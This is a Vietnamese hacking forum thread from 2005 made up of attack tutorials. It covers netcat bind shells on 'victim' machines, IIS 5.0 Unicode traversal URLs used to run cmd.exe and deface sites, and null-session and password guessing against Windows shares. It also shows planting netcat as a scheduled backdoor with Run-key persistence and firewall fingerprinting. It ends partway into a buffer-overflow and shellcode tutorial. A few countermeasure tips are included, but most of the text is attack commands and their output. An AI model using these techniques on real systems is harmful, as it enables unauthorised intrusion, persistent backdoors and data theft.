< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi ðến netcat
dấu > nghĩa là netcat gởi ðến server

_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhýng ðể quét cổng nhanh hõn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ ðể scan các cổng TCP(1- > 500) của host 172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi ðộng netcat vào chế ðộ lắng nghe, dùng tùy chọn –l ( listen ) và -p port ðể xác ðịnh số hiệu cổng cần lắng nghe, -e ðể yêu cầu netcat thi hành 1 chýõng trình khi có 1 kết nối ðến, thýờng là shell lệnh cmd.exe ( ðối với NT) hoặc /bin/sh(ðối với Unix). Ví dụ:

CODE
E:\ > nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng ðể tấn công, bạn chỉ việc dùng netcat nối ðến máy nạn nhân trên cổng ðã ðịnh, chẳng hạn nhý 8080

CODE
C:\ > nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\ > cd test
cd test
E:\test > dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test > exit
exit
sent 20, rcvd 450: NOTSOCK


Nhý các bạn ðã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cõ bản , ta ðã chiếm ðýợc máy tính của ðối phýõng , các bạn hãy xem tiếp nhé :

CODE
E:\ > nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng ðối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng ðang lắng nghe. Chỉ cần chỉ ðịnh ðịa chỉ nguồn là -s<ðịa_chỉ_ip_của_máy_này > . Ví dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 ðang lắng nghe
...
E:\ > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, ðể ðặt Netcat ở chế ðộ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thýờng khởi ðộng Netcat là xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc ðúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )

49.) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trýớc ðến phiên bản 5.0 ðều có lỗi ðể ta có thể khai thác , do bây giờ hầu hết mọi ngýời ðều dùng IIS server 5.0 nên lỗi ở các phiên bản trýớc tôi không ðề cập ðến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt ðầu nhé .
_ Trýớc hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet ðể xác ðịnh trang Web ta tấn công có sử dụng IIS server 5.0 hay không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu ðang sử dụng chýõng trình gì thì các bạn hãy thay ðổi cổng 80 bằng các cổng khác nhý 8080, 81, 8000, 8001 .v.v…
_ Sau khi ðã xác ðịnh ðýợc mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ ðịa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta ðã telnet trýớc ðó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( ðã ðýợc lập trình trong Unicode.pl ) nhý sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0 \%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy ðýợc tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi nhý vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập ðoạn mã týõng ứng trên Address :

http://www.xxx.com/scripts/..%c1%p c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1 c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Ðến ðây các bạn ðã có thể xâm nhập vào server của nạn nhân rồi ðó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thýờng các trang Web nằm ở thý mục vinetpub\wwwroot , các bạn vào ðýợc rồI thì chỉ cần thay index.html vớI tên hack by …. Là ðýợc rồi , ðừng quậy họ nhé .

GOOKLUCK!!!!!!!!!!!!!!!

tk_nam
15-11-2005, 06:52 PM
1. Tổng quan về tường lửa :

- Theo tớ được biết thì hiện nay trên thị trường có 2 loại tường lửa : ủy nhiệm ứng dụng(application proxies) và cổng lọc gói tin ( packet filtering getways ).

2. Nhận dạng tương lửa

-Hầu hết thì các tường lửa thường có 1 số dạng đặc trưng, chỉ cần thực hiện một số thao tác như quét cổng và firewalking và lấy banner (thông tin giới thiệu-tiêu đề ) là hacker có thể xác định được loại tường lửa, phiên bản và quy luật của chúng.

-Theo các bạn thì tại sao nhận dạng tường lửa lại quan trọng ? và câu trả lời là
Bởi nếu như đã biết được các thông tin đích xác về tường lửa và cách khai thác những điểm yếu này .

a. Quét trực tiếp - kỹ thuật lộ liễu
+ Cách tiến hành
-Một cách đơn giản nhất để tìm ra tường lửa là quét các cổng mặc định. Theo tớ được biết thì một vài tường lửa trên thị trường tự nhận dạng mình bằng việc quét cổng - ta chỉ cần biết những cổng nào cần quét . Ví dụ như Proxy Sever của Microsoft nghe các cổng TCP 1080 va 1745 etc..

Như vậy để tìm tường lửa ta sử dụng nmap đơn giản như sau :

Nmap -n -vv -p0 -p256,1080,1745 192.168.50.1 -60.250

Từ những kẻ tấn công vụng về cho đến những kẻ sành sỏi đều dùng phương pháp quét diện rộng đối với mạng làm việc của bạn để nhận diện tường lửa.Tuy nhiên , những hacker nguy hiểm sẽ tiến hành công việc quét càng thầm lặng , càng kín đáo càng tốt . Các hacker có thềdung nhiều kĩ thuật để thoát khỏi sự phát hiện của chúng ta bao gồm ping ngẫu nhiên ... Các hệ thống dò xâm nhập ( IDS - Intruction Detection System ) không thể phát hiện những hành động quét cổng áp dụng những kĩ thuật tinh vi để lẩn tránh bởi chúng được ngầm định lập cấu hình chỉ để nghe những hành động quét cổng lộ liễu nhất mà thôi .

Trừ khi chúng ta có những thiết lập đúng đắn cho IDS , nếu không việc quét cổng sẽ diễn ra rất âm thầm và nhanh chóng. Chúng ta hoàn toàn có thể tạo ra những hành vi quét cổng như vậy khi sử dụng những đoạn script có sẵn trên nhiều trang web như :
www.hackingexposed.com

*** Cách đối phó ***
Nếu các bồ dùng RealSecure 3.0 thì có thể làm như sau:

-Để RealSecure 3.0 có thể phát hiện ra các hành vi quét cổng , chúng ta cần phải nâng cao tính nhạy cảm của nó , có thể sử dụng những thay đổi sau :
- Chọn Network Engine Policy
- Tìm "Port Scan " và chọn nút Options
- Sửa Ports thành 5 ports
- Sửa Delta thành 60 seconds

- Để ngăn chặn việc quét cổng tường lửa từ Internet ta cần phải khóa các cổng này ở những router đứng trước Firewall.Trong trường hợp những thiết bị này do ISP quản lý, ta phải liên hệ với họ.

b. Lần theo tuyến (Route tracking )
- Sử dụng chương trình traceroute để nhận diện tương lửa trên một mạng làm việc là một phương pháp âm thầm và không khéo hơn. Chúng ta có thể sử dụng traceroute trên môi trường UNIX và tracert.exe trên môi trường Windows NT để tìm đường đến mục tiêu. Traceroute của LINUX có khóa lựa chọn -I để thực hiện việc lần theo tuyến bằng cách gửi đi các gói ICMP

[vtt]$ traceroute -I 192.168.51.100
traceroute to 192.168.51.101 (192.168.51.100), 30 hops max, 40 byte packages
1 attack-gw (192.168.50.21) 5.801 ms 5.105 ms 5.445 ms
2 gw1.smallisp.net (192.168.51.1)
....
15 192.168.51.101 (192.168.51.100)


3.Lấy banner (banner grabbing)

- Quét cổng là một biện pháp rất hiệu quả trong việc xác định firewall nhưng chỉ có Checkpoint và Microsoft nghe trên các cổng ngầm định , còn hầu hết các tường lửa thì không như vậy , do đó chúng ta cần phải suy diễn thêm . Nhiều tường lửa phổ biến thường thông báo sự có mặt của mình mỗi khi có kết nối tới chúng.Bằng việc kết nối tới một địa chỉ nào đó,ta có thể biết được chức năng hoạt động , loại và phiên bản tương lửa. Ví dụ khi chúng ta dùng chương trình netcat để kết nối tới một máy tính nghi nghờ có tường lửa qua cổng 21( F b sờ tê) ta có thể thấy một số thông tin thú vị như sau :
c:\>nc -v -n 192.168.51.129 21
(unknown) [192.168.51.129] 21 (?) open
220 Secure Gateway FTP sever ready

-Dòng thông báo (banner) "Secure Gateway FTP sever ready" là dấu hiệu của một loại tường lửa cũ của Eagle Raptor. Để chắc chắn hơn chúng ta có thể kết nối tới cổng 23 (telnet) :
C:\>nc -v -n 192.168.51.129 23
(unknown) [192.168.51.129] 23 (?) open
Eagle Secure Gateway.
Hostname :

-Cuối cùng nếu vẫn chưa chắc chắn ta có thể sử dụng netcat với cổng 25(SMTP)

C:\>nc -v -n 192.168.51.129 25
(unknown) [192.168.51.129] 25 (?) open
421 fw3.acme.com Sorry, the firewall does not provide mail service to you

-Với những thông tin và giá trị thu thập được từ banner,hacker có thể khai thác các điểm yếu của Firewall( đã dc phát hiện ra từ trước ) để tấn công .

==**===Cách đối phó
- Theo tớ hiểu thì để đối phó thì chugns ta cần phải giảm thiểu thông tin banner, điều này phụ thuộc rất nhiều vào các nhà cung câp firewall. Ta có thể ngăn chặn việc bị lộ quá nhiều thông tin tường lửa bằng cách thường xuyên sủa đổi các file cấu hình banner. Điều này thì các bạn nên tham khảo thêm từ các nhà cung cấp dịch vụ.

4.Nhận diện cổng (port identification)

Một vài firewall có "dấu hiệu nhận dạng " có thể được dùng để phân biệt với các loại tường lửa khác bằng cách hiện ra một sẻi các con số .Ví dụ như CheckPoint Firewall khi ta kết nối tới cổng TCP 257 quản lý SNMP. Sự hiện diện của các cổng từ 256 tới 259 trên hệ thống chính là dấu hiệu báo trước sự có mặt của CheckPoint Firewall-1 , ta có thể thử như sau:

[vtt]# nc -v -n 192.168.51.1 257
(unknown) [192.168.51.1] 257 (?) open
30000003


[vtt]# nc -v -n 172.29.11. 191 257
(unknown) [172.29.11. 191] 257 (?) open
30000000

tk_nam
15-11-2005, 06:54 PM
Hacking PC resource share - Hướng đi và giải pháp

Bài viết này với mục đích chia sẻ,học hỏi,trao đổi kiến thức! Nội dung của bài viết là hack vào PC sử dụng HĐH windows và các phương pháp phòng chống (trong phạm vi kiến thức của tui thôi nha). Bây giờ chúng ta cùng bắt đầu suy nghĩ những hướng phải đi. Khi bạn Online ( tức kết nối vào Internet) bạn sẽ được ISP gán cho một IP nào đó. Vậy Hacker có biết được IP của bạn không? Câu trả lời là có ( nếu Hacker giao tiếp với bạn,có nghĩa là máy của bạn và máy của hacker có sự kết nối, đồng nghĩa với việc trao đổi các packet,từ các packet có thể biết được địa chi IP nguồn)

Khi biết IP của bạn liệu hacker có thể hack vào máy tính của bạn không? Câu trả lời là hoàn toàn có thể.
Vậy hacker làm như thế nào để Hack?

Hacking thông qua resource share:

Hacker có thể dùng các tool hack tự động ví dụ như : ent3,legion… ( nhưng bản chất của các công cụ này là thưc hiện các bước mà tôi sẽ nói dưới đây 1 cách tự động,chính vì vậy việc dùng các tool này là một cách khá củ chuối …)
Trước tiên Hacker sẽ kiểm tra nhưng tài nguyên được chia sẻ trên máy tính của bạn.
Chỉ bằng vài dòng lệnh đơn giản trên comand line:



CODE

[C:\>Net view \\x.x.x.x ( với x.x.x.x là địa chỉ IP của bạn mà hacker đã biết )

Shared resources at \\x.x.x.x

Share name Type Used as Comment
-------------------------------------------------------------------------------
C Disk
PRJA3 Disk
The command completed successfully.
C:\>



Với Windows 95 & 98 thì khả năng bị hack Cao hơn nhiều so với Windows NT,2000,XP ( vì win 95,98 dùng định dạng FAT&FAT32 có độ bảo mật thấp hơn nhiều so với NTFS)

Đối với hai loại Windows này (95,98) Hacker thậm chí không cần lấy Administrator cũng có thể làm được tất cả ( bạn có tin không ?).
Khuyến cáo : không nên dùng 2 loại win này vì quá lỗi thời và có thể bị hack bất cứ lúc nào.

Sau khi liệt kê các Ổ đĩa,folder share bước tiếp theo của hacker là phải truy cập vào các ổ đĩa,folder đó để lấy dữ liệu (đây cũng là mục đích của hacker).Hacker sẽ ánh sạ ổ đĩa ,thư mục share để truy cập vào.
Cũng bằng command line:


CODE


C:\> net use z: \\x.x.x.x \share
The command completed successfully.



Chẳng lẽ hack đơn gian vậy sao ? Không , không hề đơn giản như thế bởi vì máy của victim có đặt password ( viêc ánh sạ cần phải biết username & password ).Thế là Hacker pó tay ? không hacker không bao giờ chịu pó tay,hacker sẽ cố gắng lấy username & password
Lấy Username :


CODE


C:\> Nbtstat –A x.x.x.x

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
ADMIN <00> UNIQUE Registered
BODY <00> GROUP Registered
ADMIN f <20> UNIQUE Registered
BODY <1E> GROUP Registered
BODY <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-08-A1-5B-E3-8C



Vậy máy x.x.x.x sẽ có 2 username là : ADMIN va BODY
Khi đã có username hacker sẽ tiến hành Crack password ( dựa vào các tool như : pqwak,xIntruder) Hoặc Hacker sẽ tiến hành tạo ra một từ điển ( dựa vào khả năng phán đoán của hacker ) tên là : pass.txt


CODE


“” ADMIN
123456 ADMIN
123456 BODY
“” BODY



Sau đó hacker crack bang lệnh :
[/CODE]Cũng có thể tạo Userlist.txt và passlist.txt rồi dùng lệnh:


CODE


C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt



Đối với Win 2000,XP hacker sẽ không là gì nếu không phải administrator chính vì vậy hacker bằng mọi giá sẽ lấy cho được administrator.
nếu lấy được admin thì việc còn lại thì chờ hacker định đoạt.
Khuyến cáo : không nên share gì hết ( trong trường hợp buộc phải share thì nên đặt password phức tạp 1 chút )
Giả sử rằng máy của Victim không share. Vậy hacker làm sao ?

Trong trường hợp này hacker sẽ đoán user & pass (có thể dùng cách ở trên hoặc dung các tool như: user2sid/sid2user,dumpACL,SMBGrind……) sau đó kết nối tới IPC$ ( mặc định share của windows)


CODE


C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator”
The command completed successfully.

Trong trường hợp không thê đoán Đươc user & pass hacker có thể thiết lập một Null session tới máy victim:


CODE

C:\> net use \\x.x.x.x\IPC$ “” /user:””
The command completed successfully

Và rồi nếu victim permission không đúng sẽ có nhưng hậu quả khôn lường.

khuyến cáo : Vô hiệu hoá NetBios ( Bấm vào My Network Places chọn Local Area Connetion, chọn TCP/ IP sau đó bấm vào propperties chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP / IP), Dùng firewall chặn 1 số port không cần thiết , khoá tài khoản sau 1 số lần đăng nhập thất bại .

Tiện đây cũng nói thêm về điều khiển từ xa ( vì có nhiều bạn đột nhập được vào rùi mà không biết phải làm sao )

Giả sử rằng bạn đã có username,password của admin của máy victim rồi:
giờ thiết lập 1 phiên làm viêc:



CODE

C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator”
The command completed successfully.



Sau đó ta cần copy backdoor để điều khiển máy victim có rất nhiều loại backdoor nhưng tôi thấy hơn cả vẫn là : netcat ( nc)
chép nc vào máy victim



CODE

C:\>copy nc.exe \\x.x.x.x\ADMIN$\nc.exe
The command completed successfully.
1 file copies

Chạy service Schedule trên máy victim ( có service này mới thực thi đ ươc các file trên máy victim, mặc đinh khi cài win sẽ chạy service này)



CODE

C:\> sc \\x.x.x.x start schedule
service_name : schedule


Bây giờ kiểm tra giờ trên máy victim



CODE

C:\> net time \\x.x.x.x

Current time at \\10.0.0.31 is 6/29/2005 4:50 AM

The command completed successfully.



Bây giờ chạy netcat ở chế độ ẩn lắng nghe cổng 111:



CODE

C:\>AT \\x.x.x.x 4:55 /interactive “c:\windows\nc.exe” –L –d –p111 –e cmd.exe

Added a new job with job ID = 1

đợi đến 4:55 rồi chạy thử nc.exe



CODE

C:\>nc –nvv x.x.x.x 111

(UNKNOWN) [x.x.x.x] 111 (?) open
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\windows>


Bây giờ làm gì thì tuỳ nha ( nhưng đừng có phá hoại người ta nhe’)
Vấn đề là làm sao cho những lần sau victim bật máy tính lên netcat tự động chạy và lắng nghe mệnh lệnh của ta?
Bạn có thể cho netcat khởi động cùng windows. "moi" file netcat.reg (dùng notepad và save lại thành .reg) có nội dung như sau:



CODE

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"netcat"="\"C:\\nc\\nc.exe\" -L -d -p111 -e cmd.exe"


Sau đó copy sang máy victim và chạy nha!
Hy vọng mọi người đừng phá hoại nha ! Thân

tk_nam
15-11-2005, 06:56 PM
Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode
Mục lục
Giới thiệu

1. Tổ chức bộ nhớ

1.1 Tổ chức bộ nhớ của một tiến trình (process)

1.2 Stack

2. Gọi hàm

2.1 Giới thiệu

2.2 Khởi đầu

2.3 Gọi hàm

2.3 Kết thúc

3. Shellcode

3.1 Viết shellcode trong ngôn ngữ C

3.2 Giải mã hợp ngữ các hàm

3.3 Định vị shellcode trên bộ nhớ

3.4 Vấn đề byte giá trị null

3.5 Tạo shellcode



Giới thiệu
Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và cách khai thác lỗi ta hãy bắt đầu bằng một ví dụ về chương trình bị tràn bộ đệm.

/* vuln.c */
int main(int argc, char **argv)
{
char buf[16];
if (argc>1) {
strcpy(buf, argv[1]);
printf("%s\n", buf);
}
}

[SkZ0@gamma bof]$ gcc -o vuln -g vuln.c
[SkZ0@gamma bof]$ ./vuln AAAAAAAA // 8 ký tự A (1)
AAAAAAAA
[SkZ0@gamma bof]$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 24 ký tự A (2)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Chạy chương trình vuln với tham số là chuỗi dài 8 ký tự A (1), chương trình hoạt động bình thường. Với tham số là chuỗi dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault. Dễ thấy bộ đệm buf trong chương trình chỉ chứa được tối đa 16 ký tự đã bị làm tràn bởi 24 ký tự A.

[SkZ0@gamma bof]$ gdb vuln -c core -q
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info register eip
eip 0x41414141 1094795585
(gdb)

Thanh ghi eip - con trỏ lệnh hiện hành - có giá trị 0x41414141, tương đương 'AAAA' (ký tự A có giá trị 0x41 hexa). Ta thấy, có thể thay đổi giá trị của thanh ghi con trỏ lệnh eip bằng cách làm tràn bộ đệm buf. Khi lỗi tràn bộ đệm đã xảy ra, ta có thể khiến chương trình thực thi mã lệnh tuỳ ý bằng cách thay đổi con trỏ lệnh eip đến địa chỉ bắt đầu của đoạn mã lệnh đó.

Để hiểu rõ quá trình tràn bộ đệm xảy ra như thế nào, chúng ta sẽ xem xét chi tiết tổ chức bộ nhớ, stack và cơ chế gọi hàm của một chương trình.



1. Tổ chức bộ nhớ
1.1 Tổ chức bộ nhớ của một tiến trình (process)






Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo (logic) giống nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này như sau:

Vùng text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ đọc (read-only). Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file chương trình và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở vùng này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này đều gây lỗi segmentation violation.

Vùng data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến toàn cục và biến tĩnh được chứa trong vùng này. Vùng data tương ứng với phân đoạn data-bss của file thực thi.

Vùng stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa giá trị các biến cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác trên bộ nhớ stack được thao tác theo cơ chế "vào sau ra trước" - LIFO (Last In, First Out) với hai lệnh quan trọng nhất là PUSH và POP. Trong phạm vi bài viết này, chúng ta chỉ tập trung tìm hiểu về vùng stack.

1.2 Stack
Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được dùng cho các thao tác đặc biệt dạng LIFO.

Tổ chức của vùng stack gồm các stack frame được push vào khi gọi một hàm và pop ra khỏi stack khi trở về. Một stack frame chứa các thông số cần thiết cho một hàm: biến cục bộ, tham số hàm, giá trị trả về; và các dữ liệu cần thiết để khôi phục stack frame trước đó, kể cả giá trị của con trỏ lệnh (instruction pointer) vào thời điểm gọi hàm.

Địa chỉ đáy của stack được gán một giá trị cố định. Địa chỉ đỉnh của stack được lưu bởi thanh ghi **** trỏ stack" (ESP – extended stack pointer). Tuỳ thuộc vào hiện thực, stack có thể phát triển theo hướng địa chỉ nhớ từ cao xuống thấp hoặc từ thấp lên cao. Trong các ví dụ về sau, chúng ta sử dụng stack có địa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện thực của kiến trúc Intel. Con trỏ stack (SP) cũng phụ thuộc vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên stack. Trong các minh hoạ về sau (với kiến trúc Intel x86), SP trỏ đến địa chỉ cuối cùng trên đỉnh stack.

Về lý thuyết, các biến cục bộ trong một stack frame có thể được truy xuất dựa vào độ dời (offset) so với SP. Tuy nhiên khi có các thao tác thêm vào hay lấy ra trên stack, các độ dời này cần phải được tính toán lại, làm giảm hiệu quả. Để tăng hiệu quả, các trình biên dịch sử dụng một thanh ghi thứ hai gọi là **** trỏ nền" (EBP – extended base pointer) hay còn gọi là **** trỏ frame" (FP – frame pointer). FP trỏ đến một giá trị cố định trong một stack frame, thường là giá trị đầu tiên của stack frame, các biến cục bộ và tham số được truy xuất qua độ dời so với FP và do đó không bị thay đổi bởi các thao tác thêm/bớt tiếp theo trên stack.

Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit (4 byte) trên các CPU Intel x86. (Trên các CPU Alpha hay Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên stack đều có kích thước theo bội số của word.

Thao tác trên stack được thực hiện bởi 2 lệnh máy:

push value: đưa giá trị ‘value’ vào đỉnh của stack. Giảm giá trị của %esp đi 1 word và đặt giá trị ‘value’ vào word đó.

pop dest: lấy giá trị từ đỉnh stack đưa vào ‘dest’. Đặt giá trị trỏ bởi %esp vào ‘dest’ và tăng giá trị của %esp lên 1 word.



2. Hàm và gọi hàm
2.1 Giới thiệu
Để giải thích hoạt động của chương trình khi gọi hàm, chúng ta sẽ sử dụng đoạn chương trình ví dụ sau:



/* fct.c */
void toto(int i, int j)
{
char str[5] = "abcde";
int k = 3;
j = 0;
return;
}

int main(int argc, char **argv)
{
int i = 1;
toto(1, 2);
i = 0;
printf("i=%d\n",i);
}

Quá trình gọi hàm có thể được chia làm 3 bước:



Khởi đầu (prolog): trước khi chuyển thực thi cho một hàm cần chuẩn bị một số công việc như lưu lại trạng thái hiện tại của stack, cấp phát vùng nhớ cần thiết để thực thi.

Gọi hàm (call): khi hàm được gọi, các tham số được đặt vào stack và con trỏ lệnh (IP – instruction pointer) được lưu lại để cho phép chuyển quá trình thực thi đến đúng điểm sau gọi hàm.

Kết thúc (epilog): khôi phục lại trạng thái như trước khi gọi hàm.

2.2 Khởi đầu
Một hàm luôn được khởi đầu với các lệnh máy sau:

push %ebp
mov %esp,%ebp
sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào từng hàm cụ thể)

3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. Hình sau giải thích bước khởi đầu của hàm toto() và giá trị của các thanh ghi %esp, %ebp.

Hình 1: Bước khởi đầu của hàm

Giả sử ban đầu %ebp trỏ đến địa chỉ X bất kỳ trên bộ nhớ, %esp trỏ đến một địa chỉ Y thấp hơn bên dưới. Trước khi chuyển vào một hàm, cần phải lưu lại môi trường của stack frame hiện tại, do mọi giá trị trong một stack frame đều có thể được tham khảo qua %ebp, ta chỉ cần lưu %ebp là đủ. Vì %ebp được push vào stack, nên %esp sẽ giảm đi 1 word. Giá trị %ebp được push vào stack này được gọi là **** trỏ nền bảo lưu" (SFP - saved frame pointer).


Lệnh máy thứ hai sẽ thiết lập một môi trường mới bằng cách đặt %ebp trỏ đến đỉnh của stack (giá trị đầu tiên của một stack frame), lúc này %ebp và %esp sẽ trỏ cùng đến một vị trí có địa chỉ là (Y-1word).


Lệnh máy thứ ba cấp phát vùng nhớ dành cho biến cục bộ. Mảng ký tự có độ dài 5 byte, tuy nhiên stack sử dụng đơn vị lưu trữ là word, do đó vùng nhớ được cấp cho mảng ký tự sẽ là một bội số của word sao cho lớn hơn hoặc bằng kích thước của mảng. Dễ thấy giá trị đó là 8 byte (2 word). Biến k kiểu nguyên có kích thước 4 byte, vì vậy kích thước vùng nhớ dành cho biến cục bộ sẽ là 8+4=12 byte (3 word), được cấp phát bằng cách giảm %esp đi một giá trị 0xc (bằng 12 trong hệ cơ số 16).


Một điều cần lưu ý ở đây là biến cục bộ luôn có độ dời âm so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ dùng định vị gián tiếp để xác định vị trí của i:

movl $0x0,0xfffffffc(%ebp)

0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “-4” byte so với thanh ghi %ebp. i là biến đầu tiên trong hàm main() và có địa chỉ cách 4 byte ngay dưới %ebp.



2.3 Gọi hàm
